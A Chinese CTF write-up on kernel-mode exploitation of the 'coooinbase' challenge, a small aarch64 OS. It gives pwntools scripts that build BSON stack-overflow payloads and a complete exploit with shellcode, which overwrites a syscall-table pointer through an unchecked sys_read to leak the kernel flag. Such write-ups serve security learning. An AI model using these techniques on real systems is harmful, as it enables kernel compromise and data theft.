PWN掉一款小型开源OS——续篇:内核态PWN

robots

 

本篇文章是coooinbase这道题的内核态利用。作为上一篇文章PWN掉一款小型开源OS——用户态利用的续篇,本文将解决上文遗留下的一些问题,并分析从userland到kerneland的利用机会。

遗留下的问题

from pwn import *
import bson

context.arch = 'aarch64'

obj = {
    'CVC':111,
    'MON':1,
    'YR': 2021
}
bs = bson.dumps(obj)

bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x60)
bs += b'\x00'
bs += b'\x00'

print(b64e(bs)+' ')

若按照上一篇文章的bson结构去构造payload,即'CVC':111,当payload大于一定长度时会导致不能到达以下分支,没法触发漏洞

原因是copy_payload的返回值不为0

copy_payload执行到这个分支即可返回0,经过测试'CVC':545能通过check

按以下方法构造bson序列,便能发送长字符串,并触发栈溢出

from pwn import *
import bson

context.arch = 'aarch64'

obj = {
    'CVC':545,
    'MON':1,
    'YR': 2021
}
bs = bson.dumps(obj)

bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x60)
bs += b'\x00'
bs += b'\x00'

print(b64e(bs)+' ')

 

源码审计

内核源码可以从此处下载

下面重点来审系统调用,include/syscall.h实现了以下一些系统调用

sys_readsys_write的实现,并未对传入的buf地址指针做检查,也就是可以call sys_readsys_write在内核空间任意读写

init/init_task.c处调用户态进程

通过call sys_execv系统调用分配进程资源,并装载用户态进程

 

静态分析

接下来用IDA打开coooinbase.bin,Processor type选ARM Little-endian,kernel装载基址为0xffff000000080000

查找字符串能看到flag所在的内核地址0xFFFF000000088858

对照源码,在内核程序中应当有一个系统调用表

0xFFFF000000087140地址处找到了这个系统调用表

sys_read调用,与源码没啥区别,可以对任意内核地址写入数据

sys_write调用,出题人加入了check,会检查addr <= 0xffff,只能打印出用户空间的内存信息

 

Debug

0xFFFF000000082A60之后就是通过check后代码

如能将系统调用表中指向sys_write的指针覆盖成0xFFFF000000082A60则能绕过check,而且这仅需要写1个byte

后续利用过程:
1.调sys_open打开/run这个文件,在这个文件里找到一个\x60byte对应的偏移
2.通过偏移sys_lseek到该处
3.调sys_read将该处的\x60写入到0xFFFF000000087140覆盖sys_write ptr的最后1 byte
4.调sys_write将内核地址中的flag打印出来

打开/run文件

/run是我们的用户态进程,装载到0x0的地址上,在offset = 0x3a2处找到了\x60byte。lseek到该处,将文件指针指向这个位置。

内核里关于sys_lseek实现的部分源码,whence需要设置成0,令fd指向一个绝对文件地址,也就是调sys_lseek(fd, 0x3a2, 0)

//syscall.c:64~74
int sys_lseek(int fd, int offset, int whence)
{
    struct file *filp;
    if( (fd>=NR_OPEN) || (fd<0))
        return -1;
    filp = current->filp[fd];
    if(filp==NULL)
        return -1;

    return file_lseek(filp, offset, whence);
}

//fs.c:363~387
int file_lseek(struct file *filp, int offset, int whence)
{
    int pos = (int)filp->f_pos;

    switch(whence){
        case SEEK_SET:
            pos = offset;
            break;
        case SEEK_CUR:
            pos += offset;
            break;
        case SEEK_END:
            pos = filp->f_inode->i_size;
            pos += offset;
            break;
        default:
            break;
    }

    if( (pos<0) || (pos>filp->f_inode->i_size) )
        return -1;

    filp->f_pos = (unsigned long)pos;
    return pos;
}

//fs.h:45~56
#define I_NEW       (8)

#define SEEK_SET    (0)
#define SEEK_CUR    (1)
#define SEEK_END    (2)

struct file{
    struct inode *f_inode;
    unsigned long f_count;
    int f_flags;
    unsigned long f_pos;
};

sys_read(fd, 0xffff000000087140, 1)之后,系统调用表中的sys_write ptr便被写为0xffff000000082a60

再调用sys_write便能绕过addr <= 0xffff的check,打印出flag

 

Script

完整EXP

from pwn import *
import bson

context.arch = 'aarch64'

obj = {
    'CVC': 545,
    'MON': 1,
    'YR': 2021
}
bs = bson.dumps(obj)

bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'B'*(0x18)
bs += p64(0xfc46)#ret addr

shellcode = '''ldr x0,=0x6e75722f   // /run
mov x1, 0x0
stp x0, x1, [sp]
mov x0, sp
mov x5, 0x340        // SYS_open
blr x5

mov x4, x0           // save file descriptior
mov x1, 0x3a2        // offset of 0x60 in order to change SYS_write to after check
mov x2, 0x0
mov x5, 0x364        // SYS_lseek
blr x5

mov x0, x4                   // move saved file desc
ldr x1, =0xffff000000087140  // syscall handler for write
mov x2, 0x1                  // count
mov x5, 0x34c                // SYS_read
blr x5

ldr x0, =0xffff000000088858  // addr of the flag
mov x2, 0x36                 // count
mov x5, 0x310                // SYS_write
blr x5'''

payload = asm(shellcode)
bs += payload + b'\x00'
bs += b'\x00'

#print(hexdump(bs))
print(b64e(bs)+' ')
(完)